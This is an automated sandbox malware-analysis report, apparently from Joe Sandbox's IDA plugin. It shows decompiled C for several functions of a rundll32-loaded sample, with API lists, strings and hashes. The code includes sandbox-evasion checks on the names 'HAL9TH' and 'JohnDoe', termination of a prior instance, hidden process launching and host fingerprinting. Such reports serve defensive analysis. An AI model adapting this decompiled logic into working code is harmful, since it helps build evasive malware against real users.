				int _v168;
				void* _v172;
				void* _t55;
				void* _t63;
				long _t70;
				intOrPtr _t71;
				struct HINSTANCE__* _t72;
				signed int _t79;
				void* _t84;
				long _t87;
				int _t88;
				long* _t100;
				long _t101;
				int _t103;
				_Unknown_base(*)()* _t107;
				short _t119;
				int _t126;
				void* _t133;
				intOrPtr _t137;
				long* _t138;
				short* _t139;
				intOrPtr* _t141;
				char* _t144;
				char* _t146;
				void* _t148;
				void* _t150;

				_t55 = E00FC41E0();
				if(_t55 == 0) {
					return _t55;
				}
				_v144 = 0x64;
				if(GetComputerNameA( &_v100,  &_v144) == 0) {
					L5:
					 *((intOrPtr*)(0))();
					L6:
					_v148 = 0;
					_v140 = 1;
					_t63 =  *0xfd6580(0, 0, 1,  &_v148,  &_v140); // executed
					if(_t63 == 0 || _v160 == 0) {
						L41:
						return _t63;
					} else {
						 *0xfd6370 =  *( *(_v168 + 4)) ^  *_v168; // executed
						SetErrorMode(0x8007); // executed
						SetUnhandledExceptionFilter(E00FC3650); // executed
						_t63 = E00FC9AC0();
						if(_t63 == 0) {
							goto L41;
						}
						_t63 = E00FC4430();
						if(_t63 == 0) {
							goto L41;
						}
						_t144 =  *0xfd6b50; // 0xfd9bf1
						_v164 = 0x32;
						_t70 = RegOpenKeyExA(0x80000002,  *0xfd6b4c, 0, 0x101,  &_v172); // executed
						if(_t70 != 0) {
							L17:
							_t71 = 0;
							L18:
							 *0xfd63d8 = _t71;
							_t72 = LoadLibraryA( *0xfd6a78);
							if(_t72 > 0x20) {
								_t107 = GetProcAddress(_t72,  *0xfd6a90);
								if(_t107 != 0) {
									 *_t107();
								}
							}
							E00FC9C20(0xfd6c80);
							wsprintfA( &_v144,  *0xfd6a1c,  *0xfd63d8, 0);
							if(GetEnvironmentVariableA( &_v136,  &_v164, 4) == 0) {
								_t79 = 0;
							} else {
								SetEnvironmentVariableA( &_v136, "0");
								_t79 = 1;
							}
							 *0xfd63f4 = _t79;
							wsprintfA( &_v136,  *0xfd6a1c,  *0xfd63d8, _t79 ^ 0x00000001);
							_t84 = OpenFileMappingA(6, 1,  &_v128); // executed
							 *0xfd775c = _t84;
							if(_t84 == 0) {
								_t84 = CreateFileMappingA(0xffffffff, 0, 4, 0, 4,  &_v128);
								 *0xfd775c = _t84;
								if(_t84 == 0) {
									goto L36;
								}
								_t133 = 0xb;
								goto L28;
							} else {
								_t133 = 0xe;
								L28:
								_t100 = MapViewOfFile(_t84, 6, 0, 0, 0); // executed
								 *0xfd7760 = _t100;
								if(_t100 != 0) {
									if(_t133 == 0xe) {
										_t148 = OpenProcess(1, 0,  *_t100);
										if(_t148 != 0) {
											_t103 = TerminateProcess(_t148, 0); // executed
											if(_t103 != 0) {
												Sleep(0x1388); // executed
											}
											CloseHandle(_t148);
										}
									}
									_t101 = GetCurrentProcessId();
									_t138 =  *0xfd7760; // 0xff0000
									 *_t138 = _t101;
								}
								L36:
								_t146 =  *0xfd6bb4; // 0xfd9dec
								_v148 = 6;
								_t87 = RegOpenKeyExA(0x80000001,  *0xfd6bac, 0, 1,  &_v156); // executed
								if(_t87 != 0) {
									L38:
									_t88 =  *0xfd7714( *0xfd6bd8);
									_t137 =  *0xfd6bdc; // 0xfd9e67
									_v140 = _t88;
									_v136 = E00FC1240(_t137);
									L39:
									E00FC7720();
									E00FC7750(0xfd6ff6); // executed
									_t63 = CreateThread(0, 0, E00FC6B50,  &_v144, 0,  &_v164); // executed
									if(_t63 == 0) {
										goto L41;
									}
									 *0xfd63e0 = _t63;
									_t63 = WaitForSingleObject(_t63, 0xffffffff);
									ExitThread(0);
								}
								_v152 = 3;
								RegQueryValueExA(_v156, _t146, 0,  &_v152,  &_v136,  &_v148); // executed
								asm("sbb esi, esi");
								RegCloseKey(_v156);
								if( &(_t146[1]) != 0) {
									goto L39;
								}
								goto L38;
							}
						}
						_v168 = 1;
						RegQueryValueExA(_v172, _t144, 0,  &_v168,  &_v124,  &_v164); // executed
						asm("sbb esi, esi"); // executed
						RegCloseKey(_v172); // executed
						if( &(_t144[1]) == 0 || _v164 <= 0xa) {
							goto L17;
						} else {
							_v116 = 0;
							CharLowerA( &_v124); // executed
							lstrcpyA("d06ed635",  &_v124);
							_t150 = 8;
							_t141 =  &_v124;
							_t139 = L"d06ed635";
							while(1) {
								_t119 =  *_t141;
								if(_t119 == 0) {
									break;
								}
								asm("cbw");
								_t141 = _t141 + 1;
								 *_t139 = _t119;
								_t139 = _t139 + 2;
								_t150 = _t150 - 1;
								if(_t150 != 0) {
									continue;
								}
								break;
							}
							 *_t139 = 0;
							_t71 = E00FC13E0( &_v124);
							goto L18;
						}
					}
				}
				_v136 = 0x394c4148;
				_v132 = 0x4854;
				if(lstrcmpiA( &_v100,  &_v136) == 0) {
					goto L5;
				}
				_v144 = 0x64;
				_t126 = GetUserNameA( &_v100,  &_v144); // executed
				if(_t126 == 0) {
					goto L5;
				}
				_v136 = 0x6e686f4a;
				_v132 = 0x656f44;
				if(lstrcmpiA( &_v100,  &_v136) != 0) {
					goto L6;
				}
				goto L5;
			}

0x00fc3666
0x00fc366d
0x00fc3a3f
0x00fc3a3f
0x00fc3678
0x00fc368e
0x00fc36f2
0x00fc36f4
0x00fc36f6
0x00fc36fa
0x00fc3707
0x00fc3716
0x00fc371e
0x00fc3a38
0x00000000
0x00fc372f
0x00fc373f
0x00fc3744
0x00fc374f
0x00fc3755
0x00fc375c
0x00000000
0x00000000
0x00fc3762
0x00fc3769
0x00000000
0x00000000
0x00fc376f
0x00fc3788
0x00fc3795
0x00fc37a3
0x00fc3835
0x00fc3835
0x00fc3837
0x00fc383d
0x00fc3842
0x00fc384b
0x00fc3854
0x00fc385c
0x00fc385e
0x00fc385e
0x00fc385c
0x00fc3865
0x00fc3883
0x00fc389c
0x00fc38b5
0x00fc389e
0x00fc38a8
0x00fc38ae
0x00fc38ae
0x00fc38b7
0x00fc38d1
0x00fc38df
0x00fc38e5
0x00fc38ec
0x00fc3901
0x00fc3907
0x00fc390e
0x00000000
0x00000000
0x00fc3910
0x00000000
0x00fc38ee
0x00fc38ee
0x00fc3912
0x00fc391b
0x00fc3921
0x00fc3928
0x00fc392d
0x00fc393b
0x00fc393f
0x00fc3944
0x00fc394c
0x00fc3953
0x00fc3953
0x00fc395a
0x00fc395a
0x00fc393f
0x00fc3960
0x00fc3966
0x00fc396c
0x00fc396c
0x00fc3974
0x00fc3974
0x00fc3989
0x00fc3996
0x00fc399e
0x00fc39d3
0x00fc39d9
0x00fc39df
0x00fc39e5
0x00fc39ee
0x00fc39f3
0x00fc39f3
0x00fc39fd
0x00fc3a17
0x00fc3a20
0x00000000
0x00000000
0x00fc3a25
0x00fc3a2a
0x00fc3a32
0x00fc3a32
0x00fc39a4
0x00fc39be
0x00fc39c6
0x00fc39c8
0x00fc39d1
0x00000000
0x00000000
0x00000000
0x00fc39d1
0x00fc38ec
0x00fc37ad
0x00fc37c7
0x00fc37cf
0x00fc37d1
0x00fc37da
0x00000000
0x00fc37e3
0x00fc37e7
0x00fc37ed
0x00fc37fd
0x00fc3803
0x00fc3808
0x00fc380c
0x00fc3811
0x00fc3811
0x00fc3815
0x00000000
0x00000000
0x00fc3817
0x00fc3819
0x00fc381a
0x00fc381d
0x00fc3820
0x00fc3823
0x00000000
0x00000000
0x00000000
0x00fc3823
0x00fc3827
0x00fc382e
0x00000000
0x00fc382e
0x00fc37da
0x00fc371e
0x00fc369f
0x00fc36a8
0x00fc36b4
0x00000000
0x00000000
0x00fc36ba
0x00fc36c8
0x00fc36d0
0x00000000
0x00000000
0x00fc36d6
0x00fc36e3
0x00fc36f0
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 00FC41E0: LoadLibraryA.KERNEL32(?), ref: 00FC4225
Part of subcall function 00FC41E0: GetProcAddress.KERNEL32 ref: 00FC4275
Part of subcall function 00FC41E0: GetProcAddress.KERNEL32(00000000,?), ref: 00FC42BA
Part of subcall function 00FC41E0: GetProcAddress.KERNEL32(00000000,45535457), ref: 00FC42F7
Part of subcall function 00FC41E0: LoadLibraryA.KERNEL32(51535457,?,?,00000000,?), ref: 00FC4340
Part of subcall function 00FC41E0: GetProcAddress.KERNEL32(00000000,E759CD85), ref: 00FC4378
Part of subcall function 00FC41E0: LoadLibraryA.KERNEL32(43746547,?,?,00000000,?), ref: 00FC43C1

GetComputerNameA.KERNEL32(?,?), ref: 00FC3686
lstrcmpiA.KERNEL32(?,?,?,?), ref: 00FC36B0
GetUserNameA.ADVAPI32(?,00000064), ref: 00FC36C8
lstrcmpiA.KERNEL32(?,?,?,?,?), ref: 00FC36EC
SetErrorMode.KERNELBASE(00008007), ref: 00FC3744
SetUnhandledExceptionFilter.KERNELBASE(00FC3650), ref: 00FC374F
RegOpenKeyExA.KERNELBASE(80000002,?,?,00000000,00000101,00000000), ref: 00FC3795
RegQueryValueExA.KERNELBASE(?,00FD9BF1,00000000,?,?,?,?,?,00000000,00000101,00000000), ref: 00FC37C7
RegCloseKey.KERNELBASE(00000064,?,?,00000000,00000101,00000000), ref: 00FC37D1
CharLowerA.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000101,00000000), ref: 00FC37ED
lstrcpyA.KERNEL32(d06ed635,?,?,?,?,?,?,?,?,?,?,?,00000000,00000101,00000000), ref: 00FC37FD
LoadLibraryA.KERNEL32(?,?,00000000,00000101,00000000), ref: 00FC3842
GetProcAddress.KERNEL32(00000000), ref: 00FC3854
wsprintfA.USER32 ref: 00FC3883
GetEnvironmentVariableA.KERNEL32(?,?,00000004), ref: 00FC3894
SetEnvironmentVariableA.KERNEL32(?,00FCF410), ref: 00FC38A8
wsprintfA.USER32 ref: 00FC38D1
OpenFileMappingA.KERNEL32(00000006,00000001,?), ref: 00FC38DF
CreateFileMappingA.KERNEL32 ref: 00FC3901
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 00FC391B
OpenProcess.KERNEL32(00000001,00000000,00000000), ref: 00FC3935
TerminateProcess.KERNELBASE(00000000,00000000), ref: 00FC3944
Sleep.KERNELBASE(00001388), ref: 00FC3953
CloseHandle.KERNEL32(00000000), ref: 00FC395A
GetCurrentProcessId.KERNEL32 ref: 00FC3960
RegOpenKeyExA.KERNELBASE(80000001), ref: 00FC3996
RegQueryValueExA.KERNELBASE(?,00FD9DEC,00000000,?,00000006,?), ref: 00FC39BE
RegCloseKey.ADVAPI32(00000001), ref: 00FC39C8
inet_addr.WS2_32 ref: 00FC39D9
CreateThread.KERNELBASE(00000000,00000000,00FC6B50,?,00000000,00000001), ref: 00FC3A17
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00FC3A2A
ExitThread.KERNEL32 ref: 00FC3A32

Strings

d, xrefs: 00FC36BA
d06ed635, xrefs: 00FC37F8
d06ed635, xrefs: 00FC380C
2, xrefs: 00FC3788
Doe, xrefs: 00FC36E3
John, xrefs: 00FC36D6
TH, xrefs: 00FC36A8
HAL9, xrefs: 00FC369F

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoadOpen$CloseFileProcess$CreateEnvironmentMappingNameQueryThreadValueVariablelstrcmpiwsprintf$CharComputerCurrentErrorExceptionExitFilterHandleLowerModeObjectSingleSleepTerminateUnhandledUserViewWaitinet_addrlstrcpy
String ID: 2$Doe$HAL9$John$TH$d$d06ed635$d06ed635
API String ID: 3750427933-2084125493
Opcode ID: bf666ee2d5290fb8bfb3ba8f4af9ca11681dc57262efef9e2e638a844dcd63a2
Instruction ID: 25532378476e8cbe54491870a7e0a5bb691d148860900d319f5ea9cab79ec792
Opcode Fuzzy Hash: bf666ee2d5290fb8bfb3ba8f4af9ca11681dc57262efef9e2e638a844dcd63a2
Instruction Fuzzy Hash: 70B1B07590430AAFD710DF70DD46F9A7BEABB48750F04892AF581D32A0D775D608EB22

Uniqueness

Uniqueness Score: -1.00%

Function 00FC7750 Relevance: 40.4, APIs: 21, Strings: 2, Instructions: 190
stringfileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00FC7750(CHAR* _a4) {
				short _v1028;
				short _v1548;
				struct _WIN32_FIND_DATAW _v2140;
				short _v2660;
				struct _STARTUPINFOW _v2732;
				char _v2752;
				struct _PROCESS_INFORMATION _v2768;
				void* _v2772;
				WCHAR* _v2776;
				WCHAR* _v2780;
				int _t57;
				signed char _t69;
				WCHAR* _t70;
				int _t75;
				void* _t96;
				void* _t97;
				int _t100;
				signed int _t103;
				WCHAR* _t111;
				signed int* _t113;
				signed int _t115;
				signed int _t116;
				CHAR* _t119;
				signed int _t122;
				void* _t124;
				signed int _t126;
				void* _t128;

				_t128 = (_t126 & 0xfffffff8) - 0xadc;
				_v2780 = 0;
				_t57 = ExpandEnvironmentStringsW( *0xfd6744,  &_v2660, 0x104);
				if(_t57 != 0) {
					_t122 = lstrlenW( &_v2660);
					lstrcatW( &_v2660,  *0xfd6814);
					_t57 = FindFirstFileW( &_v2660,  &_v2140); // executed
					_v2772 = _t57;
					if(_t57 != 0xffffffff) {
						_t119 = _a4;
						_t111 =  &(( &_v2660)[_t122]);
						_v2776 = _t111;
						do {
							 *_t111 = 0;
							lstrcatW( &_v2660,  &(_v2140.cFileName));
							_t69 = GetFileAttributesW( &_v2660);
							if(_t69 == 0xffffffff || (_t69 & 0x00000010) != 0) {
								_t70 = 0;
							} else {
								_t70 = 1;
							}
							if(_t70 != 0) {
								lstrcpyW( &_v1548,  *0xfd6924);
								lstrcatW( &_v1548,  &_v2660);
								lstrcatW( &_v1548,  *0xfd6928);
								lstrcatW( &_v1548,  *0xfd6818);
								_v1028 = 0;
								lstrcpyW( &_v1028,  &_v1548);
								E00FC10D0( &_v2732, 0, 0x44);
								_t128 = _t128 + 0xc;
								_v2732.cb = 0x44;
								_v2732.dwFlags = 1;
								_v2732.wShowWindow = 0;
								if(CreateProcessW(0,  &_v1028, 0, 0, 0, 0, 0, 0,  &_v2732,  &_v2768) != 0) {
									_t96 = _v2768.hThread;
									if(_t96 != 0) {
										CloseHandle(_t96);
									}
									_t97 = _v2768.hProcess;
									if(_t97 != 0) {
										CloseHandle(_t97);
									}
									if(_t119 != 0) {
										if(_v2780 != 0) {
											lstrcatA(_t119, ", ");
										} else {
											lstrcatA(_t119,  *0xfd6bd0);
											_v2780 = 1;
										}
										_t100 = lstrlenW( &(_v2140.cFileName));
										if(_t100 != 0) {
											_t103 = _t100 - 1;
											if(_t103 > 0) {
												asm("o16 nop [eax+eax]");
												while(1) {
													_t115 =  *(_t128 + 0x2bc + _t103 * 2) & 0x0000ffff;
													if(_t115 == 0 || _t115 == 0x2e) {
														goto L23;
													}
													_t103 = _t103 - 1;
													if(_t103 > 0) {
														continue;
													}
													goto L23;
												}
											}
											L23:
											if( *(_t128 + 0x2bc + _t103 * 2) == 0x2e) {
												 *(_t128 + 0x2bc + _t103 * 2) = 0;
											}
											_t100 =  &(_v2140.cFileName);
										}
										_t124 = 0x14;
										_t113 =  &_v2752;
										while(1) {
											_t116 =  *_t100 & 0x0000ffff;
											if(_t116 == 0) {
												break;
											}
											 *_t113 = _t116;
											_t100 = _t100 + 2;
											_t113 =  &(_t113[0]);
											_t124 = _t124 - 1;
											if(_t124 != 0) {
												continue;
											}
											break;
										}
										 *_t113 = 0;
										lstrcatA(_t119,  &_v2752);
									}
								}
							}
							 *_v2776 = 0;
							lstrcatW( &_v2660,  *0xfd6814);
							_t75 = FindNextFileW(_v2772,  &_v2140);
							_t111 = _v2776;
						} while (_t75 != 0);
						_t57 = FindClose(_v2772);
					}
				}
				return _t57;
			}

0x00fc7756
0x00fc776b
0x00fc777a
0x00fc7782
0x00fc779c
0x00fc77a6
0x00fc77bc
0x00fc77c2
0x00fc77c9
0x00fc77cf
0x00fc77df
0x00fc77e8
0x00fc77f0
0x00fc77f2
0x00fc7805
0x00fc780f
0x00fc7818
0x00fc7825
0x00fc781e
0x00fc781e
0x00fc781e
0x00fc7829
0x00fc783d
0x00fc7853
0x00fc7863
0x00fc7873
0x00fc7877
0x00fc788f
0x00fc789e
0x00fc78a3
0x00fc78a6
0x00fc78b0
0x00fc78b8
0x00fc78e5
0x00fc78eb
0x00fc78f1
0x00fc78f4
0x00fc78f4
0x00fc78fa
0x00fc7900
0x00fc7903
0x00fc7903
0x00fc790b
0x00fc7916
0x00fc7931
0x00fc7918
0x00fc791f
0x00fc7921
0x00fc7921
0x00fc793b
0x00fc7943
0x00fc7945
0x00fc7948
0x00fc794a
0x00fc7950
0x00fc7950
0x00fc795b
0x00000000
0x00000000
0x00fc7962
0x00fc7965
0x00000000
0x00000000
0x00000000
0x00fc7965
0x00fc7950
0x00fc7967
0x00fc7970
0x00fc7974
0x00fc7974
0x00fc797c
0x00fc797c
0x00fc7983
0x00fc7988
0x00fc7990
0x00fc7990
0x00fc7996
0x00000000
0x00000000
0x00fc7998
0x00fc799a
0x00fc799d
0x00fc799e
0x00fc79a1
0x00000000
0x00000000
0x00000000
0x00fc79a1
0x00fc79a7
0x00fc79ac
0x00fc79ae
0x00fc790b
0x00fc78e5
0x00fc79c0
0x00fc79cb
0x00fc79d9
0x00fc79df
0x00fc79e3
0x00fc79ef
0x00fc79ef
0x00fc77c9
0x00fc79fb

APIs

ExpandEnvironmentStringsW.KERNEL32(?), ref: 00FC777A
lstrlenW.KERNEL32(?), ref: 00FC7790
lstrcatW.KERNEL32(?), ref: 00FC77A6
FindFirstFileW.KERNELBASE(?,?), ref: 00FC77BC
lstrcatW.KERNEL32(?,?), ref: 00FC7805
GetFileAttributesW.KERNEL32(?), ref: 00FC780F
lstrcpyW.KERNEL32 ref: 00FC783D
lstrcatW.KERNEL32(?,?), ref: 00FC7853
lstrcatW.KERNEL32(?), ref: 00FC7863
lstrcatW.KERNEL32(?), ref: 00FC7873
lstrcpyW.KERNEL32 ref: 00FC788F
CreateProcessW.KERNEL32 ref: 00FC78DD
CloseHandle.KERNEL32(?), ref: 00FC78F4
CloseHandle.KERNEL32(?), ref: 00FC7903
lstrcatA.KERNEL32(00000001), ref: 00FC791F
lstrcatA.KERNEL32(00000001,00FCF408), ref: 00FC7931
lstrlenW.KERNEL32(?), ref: 00FC793B
lstrcatA.KERNEL32(00000001,?), ref: 00FC79AC
lstrcatW.KERNEL32(?), ref: 00FC79CB
FindNextFileW.KERNEL32(?,?), ref: 00FC79D9
FindClose.KERNEL32(?), ref: 00FC79EF

Strings

., xrefs: 00FC7967
D, xrefs: 00FC78A6

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: lstrcat$CloseFileFind$Handlelstrcpylstrlen$AttributesCreateEnvironmentExpandFirstNextProcessStrings
String ID: .$D
API String ID: 3891015426-1305204439
Opcode ID: d507c667fa588c19926db649c680641a8d40dae8690c16375d73d062202b2130
Instruction ID: 059df166611c5f8d3aa390a06c6d551bee43f81bb06a87e3237e4557cb599ae3
Opcode Fuzzy Hash: d507c667fa588c19926db649c680641a8d40dae8690c16375d73d062202b2130
Instruction Fuzzy Hash: B2613B7150834A9ADB219F64DE49F9BB7E9FF84710F04492EE589C3160EB34D508EB62

Uniqueness

Uniqueness Score: -1.00%

Function 00FC9C20 Relevance: 96.7, APIs: 50, Strings: 5, Instructions: 460
stringregistrythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E00FC9C20(char* __ecx) {
				short _v556;
				intOrPtr _v564;
				intOrPtr _v572;
				intOrPtr _v576;
				char _v580;
				char _v584;
				void* _v588;
				void* _v592;
				void _v660;
				char _v668;
				intOrPtr _v676;
				char* _v684;
				void* _v688;
				void* _v692;
				long _v696;
				long _v700;
				int _v704;
				int _v712;
				signed char _v713;
				long _v716;
				char _v724;
				intOrPtr _v732;
				signed char _v736;
				intOrPtr _v768;
				intOrPtr* _v776;
				signed char _v777;
				char _v784;
				char _v792;
				char _v800;
				short _v808;
				intOrPtr _t110;
				struct HINSTANCE__* _t115;
				long _t121;
				long _t122;
				intOrPtr* _t124;
				long _t126;
				void* _t127;
				void* _t129;
				int _t137;
				signed char _t141;
				signed char _t142;
				struct HWND__* _t152;
				void* _t153;
				struct HINSTANCE__* _t155;
				intOrPtr* _t156;
				short _t157;
				void* _t158;
				int _t165;
				int _t191;
				int _t194;
				int _t198;
				signed int _t208;
				signed int _t209;
				char* _t210;
				signed char _t212;
				intOrPtr _t213;
				intOrPtr _t215;
				_Unknown_base(*)()* _t237;
				struct HDC__* _t239;
				struct HINSTANCE__* _t241;
				signed int _t242;
				WCHAR* _t245;
				void* _t249;
				signed int _t250;
				intOrPtr* _t253;
				struct HINSTANCE__* _t254;
				void* _t255;
				signed int _t256;
				long _t257;
				long _t258;
				void* _t260;
				intOrPtr* _t261;
				intOrPtr _t262;
				long* _t264;

				_t210 = __ecx;
				_v684 = __ecx;
				E00FC10D0(__ecx, 0, 0x3f6);
				_t215 =  *0xfd63d4; // 0xfc0000
				_t2 = _t210 + 0x15e; // 0xfd6dde
				_t245 = _t2;
				_t264 =  &(( &_v696)[3]);
				 *_t210 = 4;
				 *0xfd5000 = 2;
				 *((short*)(_t210 + 0x366)) = 0x903;
				_t110 =  *0xfd63b8; // 0x10000000
				_t216 =  !=  ? _t110 : _t215;
				GetModuleFileNameW( !=  ? _t110 : _t215, _t245, 0x104);
				lstrcpyW("C:\ProgramData\", _t245);
				if( *0xfd7490 == 0) {
					L6:
					if(ExpandEnvironmentStringsW( *0xfd6774, ?str?, 0x104) <= 3) {
						L15:
						GetEnvironmentVariableW( *0xfd68f8, "C:\Windows\system32\cmd.exe", 0x104);
						_t115 = GetModuleHandleA( *0xfd6a24);
						_v676 = GetProcAddress;
						_t237 = GetProcAddress(_t115,  *0xfd6a3c);
						if(_t237 != 0) {
							 *_t237(GetCurrentProcess(),  &_v668);
						}
						if(_v668 != 0) {
							 *((char*)(_t210 + 0xd)) = 1;
						}
						_t257 = _t256 | 0xffffffff;
						if(OpenProcessToken(GetCurrentProcess(), 8,  &_v688) == 0) {
							L26:
							 *(_t210 + 9) = _t257;
							_t121 = GetCurrentProcessId();
							_t28 = _t210 + 5; // 0xfd6c85
							 *(_t210 + 1) = _t121;
							__imp__ProcessIdToSessionId(_t121, _t28);
							_t122 = GetTickCount();
							 *(_t210 + 0xe) = _t122;
							_t124 = _v692(GetModuleHandleA( *0xfd6b90),  *0xfd6b94);
							if(_t124 != 0) {
								_v580 = 0x114;
								_push( &_v580);
								if( *_t124() == 0) {
									 *((intOrPtr*)(_t210 + 0x12)) = _v580;
									 *((intOrPtr*)(_t210 + 0x1a)) = _v572;
									 *((intOrPtr*)(_t210 + 0x16)) = _v576;
									_t191 =  *0xfd5000; // 0x2
									_t192 =  <  ? 0 : _t191;
									 *0xfd5000 =  <  ? 0 : _t191;
								}
							}
							_t126 = RegOpenKeyExW(0x80000002,  *0xfd68f0, 0, 0x20119,  &_v696); // executed
							if(_t126 == 0) {
								_v712 = 1;
								_t43 = _t210 + 0x1e; // 0xfd6c9e
								_v704 = 0x28;
								RegQueryValueExW(_v696,  *0xfd68f4, 0,  &_v712, _t43,  &_v704); // executed
								RegCloseKey(_v696); // executed
							}
							_t127 = GetProcessWindowStation();
							if(_t127 != 0) {
								_v716 = 0x28;
								if(GetUserObjectInformationW(_t127, 2,  &_v660, 0x28,  &_v716) != 0) {
									_t52 = _t210 + 0x46; // 0xfd6cc6
									E00FC1000(_t52,  &_v660, 0x50);
									_t264 =  &(_t264[3]);
								}
							}
							_t129 = GetThreadDesktop(GetCurrentThreadId());
							if(_t129 != 0) {
								_v716 = 0x28;
								if(GetUserObjectInformationW(_t129, 2,  &_v660, 0x28,  &_v716) != 0) {
									_t57 = _t210 + 0x96; // 0xfd6d16
									E00FC1000(_t57,  &_v660, 0x50);
									_t264 =  &(_t264[3]);
								}
							}
							_v716 = 0x14;
							_t60 = _t210 + 0x10e; // 0xfd6d8e
							GetUserNameW(_t60,  &_v716);
							_v716 = 0x14;
							_t63 = _t210 + 0xe6; // 0xfd6d66
							GetComputerNameW(_t63,  &_v716);
							_t258 = GetCurrentProcessId(); // executed
							_t137 = CreateToolhelp32Snapshot(2, 0); // executed
							_t249 = _t137;
							if(_t249 == 0xffffffff) {
								L51:
								__imp__WTSGetActiveConsoleSessionId();
								_push(0);
								_push(0);
								_push(0x1d);
								_push(0xffffffff);
								_push(0);
								 *(_t210 + 0x36c) = _t137;
								if( *0xfd65bc() != 0) {
									 *((char*)(_t210 + 0x369)) = 1;
								}
								_v716 = 0;
								_v712 = 0;
								_t141 =  *0xfd65bc(0, 0xffffffff, 0x10,  &_v716,  &_v712); // executed
								if(_t141 == 0) {
									L57:
									_t142 = _t141 | 0x000000ff;
									goto L58;
								} else {
									_t141 = _v736;
									if(_t141 == 0 || _v732 == 0) {
										goto L57;
									} else {
										_t142 =  *_t141;
										L58:
										 *(_t210 + 0x368) = _t142;
										 *0xfd7488 = 0;
										E00FC10D0(0xfd76a0, 0, 0x28);
										lstrcpyA( &_v724,  *0xfd6bd4);
										_t212 = 0x31;
										do {
											_v713 = _t212;
											_t239 = CreateDCA( &_v724, 0, 0, 0);
											if(_t239 != 0) {
												_t250 = _t212 & 0x000000ff;
												 *(0xfd76a0 + _t250 * 4) = GetDeviceCaps(_t239, 8);
												_t242 = GetDeviceCaps(_t239, 0xa) & 0x0000ffff;
												 *(0xfd76a2 + _t250 * 4) = _t242;
												_t252 =  <=  ?  *(0xfd76a0 + _t250 * 4) & 0x0000ffff :  *0xfd7488 & 0x0000ffff;
												 *0xfd7488 =  <=  ?  *(0xfd76a0 + _t250 * 4) & 0x0000ffff :  *0xfd7488 & 0x0000ffff;
												_t234 =  <=  ? _t242 :  *0xfd748a & 0x0000ffff;
												_t212 = _t212 + 1;
												 *0xfd748a =  <=  ? _t242 :  *0xfd748a & 0x0000ffff;
											}
											_t212 = _t212 + 1;
										} while (_t212 <= 0x39);
										_v777 = _t212;
										_t213 = _v768;
										 *((char*)(_t213 + 0x36a)) = _v777;
										 *((short*)(_t213 + 0x36e)) =  *0xfd7488 & 0x0000ffff;
										 *((short*)(_t213 + 0x370)) =  *0xfd748a & 0x0000ffff;
										_t152 = GetDesktopWindow();
										_t253 = __imp__MonitorFromWindow;
										_t153 =  *_t253(_t152, 2);
										_t260 = _t153;
										_t155 =  *_t253(GetDesktopWindow(), 1);
										_t254 = _t155;
										if(_t260 == 0 || _t254 == 0) {
											 *((char*)(_t213 + 0x36b)) = 0xff;
											if(_t254 == 0) {
												goto L74;
											}
											goto L67;
										} else {
											if(_t254 == _t260) {
												 *((char*)(_t213 + 0x36b)) = 1;
											}
											L67:
											_t155 = LoadLibraryA( *0xfd6a68);
											_t241 = _t155;
											if(_t241 == 0) {
												L74:
												return _t155;
											}
											_t261 = _v776;
											_t156 =  *_t261(_t241,  *0xfd6a6c);
											if(_t156 != 0) {
												_t158 =  *_t156(_t254, 0,  &_v792,  &_v784); // executed
												if(_t158 == 0) {
													 *((short*)(_t213 + 0x372)) = _v808;
												}
											}
											_t155 =  *_t261(_t241,  *0xfd6a70);
											if(_t155 == 0) {
												goto L74;
											} else {
												_t155 = _t155->i(_t254,  &_v800); // executed
												if(_t155 != 0) {
													goto L74;
												}
												_t157 = _v808;
												 *((short*)(_t213 + 0x374)) = _t157;
												return _t157;
											}
										}
									}
								}
							} else {
								_v584 = 0x22c;
								_push( &_v584);
								_t165 = Process32FirstW(_t249); // executed
								if(_t165 == 0) {
									L50:
									_t137 = FindCloseChangeNotification(_t249); // executed
									goto L51;
								}
								while(_v580 != _t258) {
									if(Process32NextW(_t249,  &_v588) != 0) {
										continue;
									}
									goto L50;
								}
								_t262 = _v564;
								if(_t262 == 0) {
									goto L50;
								}
								_push( &_v588);
								if(Process32FirstW(_t249) == 0) {
									goto L50;
								}
								asm("o16 nop [eax+eax]");
								while(_v584 != _t262) {
									if(Process32NextW(_t249,  &_v592) != 0) {
										continue;
									}
									goto L50;
								}
								_t73 = _t210 + 0x136; // 0xfd6db6
								lstrcpynW(_t73,  &_v556, 0x14);
								goto L50;
							}
						}
						_t194 = GetTokenInformation(_v688, 0x19, 0, 0,  &_v696); // executed
						if(_t194 == 0 && GetLastError() == 0x7a) {
							_t255 = LocalAlloc(0, _v700);
							if(_t255 == 0) {
								goto L26;
							}
							_t198 = GetTokenInformation(_v692, 0x19, _t255, _v700,  &_v700); // executed
							if(_t198 != 0) {
								_t257 =  *(GetSidSubAuthority( *_t255, ( *(GetSidSubAuthorityCount( *_t255)) & 0x000000ff) - 1));
							}
							LocalFree(_t255);
						}
